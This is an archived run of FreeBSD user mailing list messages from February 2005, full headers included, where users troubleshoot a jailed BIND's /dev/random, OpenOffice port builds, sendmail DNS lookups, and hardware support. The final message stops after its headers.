royk.itea.ntnu.no (Postfix) with SMTP for ; Tue, 8 Feb 2005 15:10:03 +0100 (CET) Received: (qmail 88986 invoked by uid 1001); 8 Feb 2005 14:10:03 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 8 Feb 2005 14:10:03 -0000 Date: Tue, 8 Feb 2005 15:10:03 +0100 (CET) From: Svein Halvor Halvorsen X-X-Sender: sveinhal@maren.thelosingend.net To: Erik Trulsson In-Reply-To: <20050208101731.GA24666@falcon.midgard.homeip.net> Message-ID: <20050208150453.L88691@maren.thelosingend.net> References: <200502051745.25937.hindrich@worldchat.com> <20050207195715.GE82997@keyslapper.net> <20050208101731.GA24666@falcon.midgard.homeip.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Content-Scanned: with sophos and spamassassin at mailgw.ntnu.no. cc: questions@freebsd.org Subject: Re: Electricity bill [was: Re: Leaving a Computer Running ?] X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 14:10:05 -0000 * Erik Trulsson [2005-02-08 11:17 +0100] > Not necessarily true. It was my message you originally replied to, and > the apartment where I live has central heating, such that the heating > is included in teh rent, and does not show up on the electricity bill > (and I don't think the heating uses electricity anyway.) I understand that these presumption is not allways correct. Alot of people have central heating in Norway as well. Especially in houses that were built before 1950-ish when the power-revolution took place in Norway with alot of new-built hydroelectric plants. However, I believe this to be generally correct. I should confess that I don't have alot of detailed knowledge on Sweden though, even though we're neighbours so to speak. This was the reason I stated the presumptions anyway. Svein Halvor Who right now could use another computer to heat up my room. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 14:38:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BAAB016A4CE for ; Tue, 8 Feb 2005 14:38:33 +0000 (GMT) Received: from backup.rmm.fr (backup.rmm.fr [195.115.46.214]) by mx1.FreeBSD.org (Postfix) with ESMTP id BFBA743D41 for ; Tue, 8 Feb 2005 14:38:32 +0000 (GMT) (envelope-from bsd@todoo.biz) Received: from localhost (localhost [127.0.0.1]) by backup.rmm.fr (Postfix) with ESMTP id 244AE60EB for ; Tue, 8 Feb 2005 15:38:31 +0100 (CET) Received: from backup.rmm.fr ([127.0.0.1]) by localhost (backup [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 36699-01 for ; Tue, 8 Feb 2005 15:38:29 +0100 (CET) Received: from [10.0.1.90] (d009.dhcp212-198-114.noos.fr [212.198.114.9]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (No client certificate requested) by backup.rmm.fr (Postfix) with ESMTP id E4E3560C4 for ; Tue, 8 Feb 2005 15:38:28 +0100 (CET) Mime-Version: 1.0 (Apple Message framework v619.2) Content-Transfer-Encoding: quoted-printable Message-Id: <365b15da0d47b600ccf5fff25e3f440f@todoo.biz> Content-Type: text/plain; charset=ISO-8859-1; format=flowed To: Liste FreeBSD From: bsd@todoo.biz Date: Tue, 8 Feb 2005 15:38:27 +0100 X-Mailer: Apple Mail (2.619.2) X-Virus-Scanned: by amavisd-new at rmm.fr Subject: Problem with mknod for /dev/random => jailed bind configuration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 14:38:33 -0000 Hello, I've tried to configure a bind server in a chroot jail and am facing a=20= problem with /dev/random Thaugh I've read the man mknod I have to say that this didn't help me=20 in solving the problem. When I start named with the -g switch here are the error. > 08-Feb-2005 15:18:22.551 errno2result.c:109: unexpected error: > 08-Feb-2005 15:18:22.551 unable to convert errno to isc_result: 6:=20 > Device not configured > 08-Feb-2005 15:18:22.551 could not open entropy source /dev/random:=20 > unexpected error > 08-Feb-2005 15:18:22.551 using pre-chroot entropy source /dev/random I've used the following mknod command : mknod /var/named/dev/null c 2 2 mknod /var/named/dev/random c 2 3 and also tried : mknod random c 245 0 mknod null c 2 2 I've chmod 666 the two files and make shure they are owned by bind:bind=20= // ?? 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By all=20 means, do not use hammer." -- IBM maintenance manual, 1975 From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 14:40:09 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3862A16A4CE for ; Tue, 8 Feb 2005 14:40:09 +0000 (GMT) Received: from mail21.sea5.speakeasy.net (mail21.sea5.speakeasy.net [69.17.117.23]) by mx1.FreeBSD.org (Postfix) with ESMTP id CB24443D31 for ; Tue, 8 Feb 2005 14:40:08 +0000 (GMT) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: (qmail 17564 invoked from network); 8 Feb 2005 14:40:08 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail21.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 8 Feb 2005 14:40:08 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id 2F79B83; Tue, 8 Feb 2005 09:40:07 -0500 (EST) Sender: lowell@be-well.ilk.org To: Ewald Jenisch References: <20050208080951.GA55594@aurora.oekb.co.at> From: Lowell Gilbert Date: 08 Feb 2005 09:40:06 -0500 In-Reply-To: <20050208080951.GA55594@aurora.oekb.co.at> Message-ID: <44k6pjcdyx.fsf@be-well.ilk.org> Lines: 51 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii cc: freebsd-questions@freebsd.org Subject: Re: Openoffice 1.1 - compile errors even without Java X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 14:40:09 -0000 Ewald Jenisch writes: > Hi, > > I'm having a hard time getting OO 1.1.4 installed from ports: Using > the normal "make"-way (i.e. with Java support) makes the build die > after some hours with the famous errors during Java compilation. > > So I tried > > make -DWITHOUT_JAVA > > Again, make runs for several hours finally bailing out with the > following error message: > > ------------------------------ < Cut here > ------------------------------ > > zip -j -5 "../unxfbsd.pro/01/normal/f_0386" "/usr/ports/editors/openoffice-1.1/work/solver/645/unxfbsd.pro/bin/dtint" > adding: dtint (deflated 69%) > zip -j -5 "../unxfbsd.pro/01/normal/f_0387" "/usr/ports/editors/openoffice-1.1/work/solver/645/unxfbsd.pro/bin/dtappintegrate" > adding: dtappintegrate (deflated 80%) > optimize summary: 0 kb > Replacing ${EVAL} with > Replacing ${FILEFORMATNAME} with OpenOffice.org > Replacing ${FILEFORMATVERSION} with 1.0 > Replacing ${LONG_PRODUCTEXTENSION} with > Replacing ${PRODUCTEXTENSION} with > Replacing ${PRODUCTNAME} with OpenOffice.org > Replacing ${PRODUCTVERSION} with 1.1.4 > > time needed: 0:0:27 > > > WARNING! Project(s): > gtk > > not found and couldn't be built. Correct build.lsts. > > ------------------------------ < Cut here > ------------------------------ > > > Has anybody sucessfully built OO 1.1.4 from ports - either with our > without Java? With, sure. Did you try installing gtk? -- Lowell Gilbert, embedded/networking software engineer, Boston area http://be-well.ilk.org/~lowell/ From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 14:40:53 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E22B916A4CE for ; Tue, 8 Feb 2005 14:40:53 +0000 (GMT) Received: from mail24.sea5.speakeasy.net (mail24.sea5.speakeasy.net [69.17.117.26]) by mx1.FreeBSD.org (Postfix) with ESMTP id AD23043D2F for ; Tue, 8 Feb 2005 14:40:53 +0000 (GMT) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: (qmail 18613 invoked from network); 8 Feb 2005 14:40:53 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail24.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 8 Feb 2005 14:40:53 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id 72CC781; Tue, 8 Feb 2005 09:40:52 -0500 (EST) Sender: lowell@be-well.ilk.org To: Olivier Nicole References: <20050208085748.GA13424@sdf.lonestar.org> <200502080907.j1897gdL071181@banyan.cs.ait.ac.th> From: Lowell Gilbert Date: 08 Feb 2005 09:40:52 -0500 In-Reply-To: <200502080907.j1897gdL071181@banyan.cs.ait.ac.th> Message-ID: <44fz07cdxn.fsf@be-well.ilk.org> Lines: 4 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii cc: tiberius@trancell.org cc: freebsd-questions@freebsd.org Subject: Re: Dumb question about ports/packages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 14:40:54 -0000 -- Lowell Gilbert, embedded/networking software engineer, Boston area http://be-well.ilk.org/~lowell/ From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 14:45:09 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 82AE216A4CE for ; Tue, 8 Feb 2005 14:45:09 +0000 (GMT) Received: from mail21.sea5.speakeasy.net (mail21.sea5.speakeasy.net [69.17.117.23]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4C8CB43D45 for ; Tue, 8 Feb 2005 14:45:09 +0000 (GMT) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: (qmail 25390 invoked from network); 8 Feb 2005 14:45:09 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail21.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 8 Feb 2005 14:45:09 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id 25B2E81; Tue, 8 Feb 2005 09:45:08 -0500 (EST) Sender: lowell@be-well.ilk.org To: Olivier Nicole References: <20050208085748.GA13424@sdf.lonestar.org> <200502080907.j1897gdL071181@banyan.cs.ait.ac.th> From: Lowell Gilbert Date: 08 Feb 2005 09:45:07 -0500 In-Reply-To: <200502080907.j1897gdL071181@banyan.cs.ait.ac.th> Message-ID: <44acqfcdqk.fsf@be-well.ilk.org> Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii cc: tiberius@trancell.org cc: freebsd-questions@freebsd.org Subject: Re: Dumb question about ports/packages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 14:45:09 -0000 Olivier Nicole writes: > > How would I upgrade just one package part of the core like that? Or multiple > > ones for that matter. Can you use the ports/packages system? Or do you have > > to do an entire system upgrade (i.e. 4.10 to 4.11). > > I'd say, given that ssh is part of the ports > (/usr/ports/security/ssh), you could ust upgrade that port and install > that port. > > I'd cvsup ports/security > > then make && make install for ssh Um, no, as the original poster pointed out, ssh is part of the base system, and normally you don't need the port. Upgrading the base system *is* the best approach. It *doesn't* normally require updating to the latest release; 4.10, for example, is still a supported branch, and will be for (at least) another year or so. Updating to the latest of the 4.10 branch will do fine for this kind of problem. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 14:51:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E462816A4CE for ; Tue, 8 Feb 2005 14:51:12 +0000 (GMT) Received: from ei.bzerk.org (ei.xs4all.nl [213.84.67.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id DDDA843D1F for ; Tue, 8 Feb 2005 14:51:09 +0000 (GMT) (envelope-from mail25@bzerk.org) Received: from ei.bzerk.org (BOFH@localhost [127.0.0.1]) by ei.bzerk.org (8.13.1/8.13.1) with ESMTP id j18EtPWe077488 for ; Tue, 8 Feb 2005 15:55:25 +0100 (CET) (envelope-from mail25@bzerk.org) Received: (from bulk@localhost) by ei.bzerk.org (8.13.1/8.13.1/Submit) id j18EtPj2077487 for freebsd-questions@freebsd.org; Tue, 8 Feb 2005 15:55:25 +0100 (CET) (envelope-from mail25@bzerk.org) Date: Tue, 8 Feb 2005 15:55:25 +0100 From: Ruben de Groot To: freebsd-questions@freebsd.org Message-ID: <20050208145525.GA76723@ei.bzerk.org> Mail-Followup-To: Ruben de Groot , freebsd-questions@freebsd.org References: <200502061420.24415.krinklyfig@spymac.com> <849739867.20050207170757@wanadoo.fr> <20050207161015.GH21722@thingy.apana.org.au> <399973539.20050207171622@wanadoo.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <399973539.20050207171622@wanadoo.fr> User-Agent: Mutt/1.4.2.1i X-Spam-Status: No, score=-2.3 required=5.0 tests=ALL_TRUSTED, FROM_ENDS_IN_NUMS autolearn=failed version=3.0.1 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on ei.bzerk.org Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 14:51:13 -0000 On Mon, Feb 07, 2005 at 05:16:22PM +0100, Anthony Atkielski typed: > > DG> So it helps the copyright situation, but breaks the usefulness of > DG> any archive. > > The copyright situation is an unavoidable legal mandate, not an option. > You cannot defend against an infringement action by saying that > respecting copyright would have been inconvenient for you. Can we please stop the legal mumbo-jumbo? This is supposed to be a technical mailing list. And a global one at that. Copyright laws in the US or any other country are irrelevant at best, a nuisance at the worse. But certainly not worth waisting this much bandwidth on. Ruben From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 15:04:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 39E0A16A4CE for ; Tue, 8 Feb 2005 15:04:08 +0000 (GMT) Received: from dexter.starfire.mn.org (starfire.skypoint.net [66.93.17.236]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5492D43D3F for ; Tue, 8 Feb 2005 15:04:07 +0000 (GMT) (envelope-from john@dexter.starfire.mn.org) Received: (from john@localhost) by dexter.starfire.mn.org (8.11.3/8.11.3) id j18F3wN14362; Tue, 8 Feb 2005 09:03:58 -0600 (CST) (envelope-from john) Date: Tue, 8 Feb 2005 09:03:58 -0600 From: John To: Erik Norgaard Message-ID: <20050208090358.A14279@starfire.mn.org> References: <20050208070846.A13935@starfire.mn.org> <4208BC04.9010204@locolomo.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <4208BC04.9010204@locolomo.org>; from norgaard@locolomo.org on Tue, Feb 08, 2005 at 02:17:56PM +0100 cc: freebsd-questions@freebsd.org Subject: Re: Using FreeBSD to migrate Windows XP? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 15:04:08 -0000 On Tue, Feb 08, 2005 at 02:17:56PM +0100, Erik Norgaard wrote: > John wrote: > > OK - I've finally come to the realization (a little slow, I know) > > that a 5.8Gb disk drive is just not enough to support a desktop > > environment (including JAVA) for both Windows XP and FreeBSD on my > > laptop. :( > > > > I have used dump(8) to dump out my filesystems. I am wondering > > if I can just use "dd" to dump out all of /dev/ad0s1 also, > > and then use "dd" to put it back again when I'm done. Then > > I'd boot the installation CD into "fixit" mode, build a new > > MBR, make sure that the new s1 was the same or very slightly larger > > than the old s1, and use dd to put it back again. Can anyone > > speak to either the "doomed to failure" or "I've done this and > > it works" scenarios? > > Not doomed, but don't expect to read data on other than FBSD systems. > This is described in the handbook under using removable media (CD/DVD) > for backups. Oh, yeah, actually, that's no problem. The "media" are files on an NFS share... I'll use FreeBSD booted from the CD to put it back. -- John Lind john@starfire.MN.ORG From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 15:06:41 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 93E2B16A4CE for ; Tue, 8 Feb 2005 15:06:41 +0000 (GMT) Received: from fry.webpack.hosteurope.de (fry.webpack.hosteurope.de [217.115.142.80]) by mx1.FreeBSD.org (Postfix) with ESMTP id C2ADF43D2F for ; Tue, 8 Feb 2005 15:06:40 +0000 (GMT) (envelope-from nornagest@hackerboard.de) Received: by fry.webpack.hosteurope.de running Exim 4.34 using asmtp from l002.fem.tu-ilmenau.de ([141.24.54.2] helo=feanor.gondor.lan) id 1CyWwq-0005fa-H4; Tue, 08 Feb 2005 16:06:40 +0100 Date: Tue, 8 Feb 2005 16:06:44 +0100 From: Hagen "Nornagest" =?ISO-8859-15?Q?K=FChl?= To: questions@freebsd.org Message-ID: <20050208160644.4f5295eb@feanor.gondor.lan> X-Mailer: Sylpheed-Claws 1.0.0 (GTK+ 1.2.10; i386-portbld-freebsd5.3) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: quoted-printable Subject: connections fail X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 15:06:41 -0000 Hi everyone, My desktop box runs FreeBSD 5.3 and I have a problem with opera (7.54) and sylpheed-claws (1.0.0). When these applications run for quite a while(some days) they can't establish any connections. If I restart the application it works again. Has anyone seen these or similar problems, or any idea what to do? I hope the information given is enough, though it isn't very much. Thanks in advance Hagen K=FChl From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 15:10:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D2C9A16A4CF for ; Tue, 8 Feb 2005 15:10:31 +0000 (GMT) Received: from helium.webpack.hosteurope.de (helium.webpack.hosteurope.de [217.115.142.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 721D143D3F for ; Tue, 8 Feb 2005 15:10:30 +0000 (GMT) (envelope-from me@hexren.net) Received: by helium.webpack.hosteurope.de running Exim 4.34 using asmtp helo=hexren.steenbuck.net) id 1CyX0X-0008B4-7x; Tue, 08 Feb 2005 16:10:29 +0100 Date: Tue, 8 Feb 2005 16:10:26 +0100 From: Hexren X-Mailer: The Bat! (v1.62i) Business X-Priority: 3 (Normal) Message-ID: <1903017659.20050208161026@hexren.net> To: "Ted Mittelstaedt" In-Reply-To: References: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----------DEA7382AD5414E" cc: freebsd-questions@freebsd.org Subject: Re[2]: Sendmail host lookup problem (nslookup) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Hexren List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 15:10:32 -0000 ------------DEA7382AD5414E Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit >> -----Original Message----- >> From: owner-freebsd-questions@freebsd.org >> [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Hexren >> Sent: Sunday, February 06, 2005 2:49 PM >> To: Ted Mittelstaedt >> Cc: freebsd-questions@freebsd.org >> Subject: Re[2]: Sendmail host lookup problem >> >> >> >> >> >> -----Original Message----- >> >> From: owner-freebsd-questions@freebsd.org >> >> [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Hexren >> >> Sent: Sunday, February 06, 2005 1:46 PM >> >> To: freebsd-questions@freebsd.org >> >> Subject: Sendmail host lookup problem >> >> >> >> >> >> I have a LAN in the 192.168.0 range. I am trying to send mail from >> >> 192.168.0.78 (gc-infra.steenbuck.net) to 192.168.0.29 >> >> (bettchen.steenbuck.net). >> >> This leeds to 550 errors. "Host unknown (Name server: >> >> bettchen.steenbuck.net: host not found)" >> >> >> >> 192.168.0.29 is also acting as my DNS Server. Both machines >> >> have correct (or so I hope) entries in the nameserver. >> >> TM> Either you don't have correct entries in the nameserver, or your >> TM> /etc/resolv.conf on gc-infra is not using 192.168.0.29 as it's >> TM> nameserver. >> >> TM> What is the output of nslookup on gc-infra when you key in >> TM> the bettchen.steenbuck.net name? What is it when you issue >> TM> a "set type=mx" at the nslookup prompt followed by the >> TM> bettchen.steenbuck.net name? What is it when you key in the >> TM> IP number 192.168.0.29? >> >> TM> Ted >> TM> _______________________________________________ >> TM> freebsd-questions@freebsd.org mailing list >> TM> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> TM> To unsubscribe, send any mail to >> "freebsd-questions-unsubscribe@freebsd.org" >> >> --------------------------------------------- >> >> [gc-infra:~]#nslookup bettchen.steenbuck.net >> Server: 192.168.0.29 >> Address: 192.168.0.29#53 >> TM> This is a problem, the output should read: TM> Server: bettchen.steenbuck.net TM> Address: 192.168.0.29 TM> Name: bettchen.steenbuck.net TM> Address: 192.168.0.29 >> Name: bettchen.steenbuck.net >> Address: 192.168.0.29 >> >> ----------------- >> [gc-infra:~]#nslookup >> > set type=mx >> > bettchen.steenbuck.net >> Server: 192.168.0.29 >> Address: 192.168.0.29#53 >> >> bettchen.steenbuck.net mail exchanger = 10 bettchen.steenbuck.net. >> TM> Here's another possible problem, the output should read: TM> bettchen.steenbuck.net preference=10, mail exchanger = 10 TM> bettchen.steenbuck.net TM> (followed by some glue data) >> ----------------- >> >> [gc-infra:~]#nslookup 192.168.0.29 >> Server: 192.168.0.29 >> Address: 192.168.0.29#53 >> >> 29.0.168.192.in-addr.arpa name = >> bettchen.steenbuck.net.0.168.192.in-addr.arpa. >> TM> name should be bettchen.steenbuck.net, not TM> bettchen.steenbuck.net.0.168.192.in-addr.arpa. TM> Post your zone files in bettchen as well as named.conf TM> Ted --------------------------------------------- sorry for taking so long to provide some files. Anyway I pooked around a bit, looked at some configs a friend provided me with and read a bit more about BIND, did some config cleaning up. And its working now unfortunatly I cannot point to where exactly my error was (note to self do more sleeping). Sendmail is functioning properly :) My machines, except one now produce the output that you said they should (and descriped above). I believe the error with that one machine is rooted in nslookup and not DNS. Interestingly there are 2 nslookup programms in the MAN pages. One in section 1 and one in section 8. http://www.freebsd.org/cgi/man.cgi?query=nslookup&sektion=1&apropos=0&manpath=FreeBSD+5.3-RELEASE+and+Ports http://www.freebsd.org/cgi/man.cgi?query=nslookup&sektion=8&apropos=0&manpath=FreeBSD+5.3-RELEASE+and+Ports All my machines are using the one under section 8. (I think you can tell them apart by looking if they have "help" implemented) Only the one machine that is not producing the right output uses the one from section 1. Anybody nows why this is the way it is, meaning why there are 2 nslookups and by which way you can tell a machine to use one or the other ? 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Tue, 8 Feb 2005 15:11:11 +0000 (GMT) Received: from Apachihuilliztli.mtu.ru (apachihuilliztli.mtu.ru [195.34.32.124]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3AC8E43D3F for ; Tue, 8 Feb 2005 15:11:11 +0000 (GMT) (envelope-from anatolytyukanov@tochka.ru) Received: from umail.ru (umail.mtu.ru [195.34.32.101]) by Apachihuilliztli.mtu.ru (Postfix) with ESMTP id BEE3D62D6AD for ; Tue, 8 Feb 2005 16:15:41 +0300 (MSK) (envelope-from anatolytyukanov@tochka.ru) Received: from [85.140.11.55] (account anatolytyukanov@tochka.ru HELO [85.140.11.55]) by umail.ru (CommuniGate Pro SMTP 4.2b6) with ESMTP-TLS id 399260406 for freebsd-questions@freebsd.org; Tue, 08 Feb 2005 16:15:41 +0300 Message-ID: <4208BB55.3080803@tochka.ru> Date: Tue, 08 Feb 2005 16:15:01 +0300 From: anatolytyukanov@tochka.ru User-Agent: Mozilla Thunderbird 1.0 (X11/20041214) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: dell poweredge servers X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 15:11:12 -0000 hey Mark, Im using CURRENT on 2650 w/o any problems, aac works fine. There was some problem with ACPI (which lead to hang) on some PE series box'es but now I suppose its okay. Date: Mon, 07 Feb 2005 16:14:42 -0800 From: "Mark A. Garcia" Subject: Re: dell poweredge servers To: David.Bear@asu.edu Cc: freebsd-questions@freebsd.org Message-ID: <42080472.9080005@hamletinc.com> Content-Type: text/plain; charset=us-ascii; format=flowed David Bear wrote: >>I was looking at the support hardware list for Fbsd 5.x and could find >>no mention of the PERC3-DI scsi controller.. so I was wondering if >>anyone has used a dell poweredge 2650, and what your experience was >>running Freebsd 4.X and 5.x on it. >> >> >> I've been running FBSD 4.7 since Apr 2003 on a PE2650 with the PERC3-DI controller. I haven't had any problem setting it up. Just make sure you leave the device aac option in your kernel config. Cheers, -.mag From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 15:12:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 034DE16A4CE for ; Tue, 8 Feb 2005 15:12:12 +0000 (GMT) Received: from ei.bzerk.org (ei.xs4all.nl [213.84.67.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2C3EE43D49 for ; Tue, 8 Feb 2005 15:12:11 +0000 (GMT) (envelope-from mail25@bzerk.org) Received: from ei.bzerk.org (BOFH@localhost [127.0.0.1]) by ei.bzerk.org (8.13.1/8.13.1) with ESMTP id j18FGRNE077728; Tue, 8 Feb 2005 16:16:27 +0100 (CET) (envelope-from mail25@bzerk.org) Received: (from bulk@localhost) by ei.bzerk.org (8.13.1/8.13.1/Submit) id j18FGRSr077727; Tue, 8 Feb 2005 16:16:27 +0100 (CET) (envelope-from mail25@bzerk.org) Date: Tue, 8 Feb 2005 16:16:27 +0100 From: Ruben de Groot To: "Loren M. Lang" Message-ID: <20050208151627.GB76723@ei.bzerk.org> Mail-Followup-To: Ruben de Groot , "Loren M. Lang" , FreeBSD Mailing list References: <20050208115928.GE8619@alzatex.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050208115928.GE8619@alzatex.com> User-Agent: Mutt/1.4.2.1i X-Spam-Status: No, score=-2.3 required=5.0 tests=ALL_TRUSTED, FROM_ENDS_IN_NUMS autolearn=failed version=3.0.1 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on ei.bzerk.org cc: FreeBSD Mailing list Subject: Re: ktrace as a replacement for strace X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 15:12:12 -0000 On Tue, Feb 08, 2005 at 03:59:28AM -0800, Loren M. Lang typed: > I'm looking for a replacement for the strace program I used to use on > linux; freebsd has a port of strace, but it just hangs everytime I use > it. It looks like the bsd version of strace would be ktrace/kdump. I > was able to get these to print a trace of the program I ran, but it > doesn't do all the nice substatuting that strace was able to do. > Mainly, I just want the first argument of open to look like a string > instead of a 32 bit pointer that I can't read. I'm trying to figure out > what files this program is trying to read so I can edit it's > configuration file. I think truss(8) will suit your needs better. Ruben From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 15:13:38 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8093016A4CE for ; Tue, 8 Feb 2005 15:13:38 +0000 (GMT) Received: from sccrmhc13.comcast.net (sccrmhc13.comcast.net [204.127.202.64]) by mx1.FreeBSD.org (Postfix) with ESMTP id 28E5343D39 for ; Tue, 8 Feb 2005 15:13:38 +0000 (GMT) (envelope-from fbsd-questions@trini0.org) Received: from hivemind.trini0.org (trini0.org[65.34.205.195]) by comcast.net (sccrmhc13) with ESMTP id <20050208151333016004j9r9e>; Tue, 8 Feb 2005 15:13:35 +0000 Received: from [192.168.0.16] (gladiator.trini0.org [192.168.0.16]) by hivemind.trini0.org (Postfix) with ESMTP id 178D36115 for ; Tue, 8 Feb 2005 10:13:33 -0500 (EST) Message-ID: <4208D71C.7000207@trini0.org> Date: Tue, 08 Feb 2005 10:13:32 -0500 From: Gerard Samuel User-Agent: Mozilla Thunderbird 1.0 (X11/20050122) 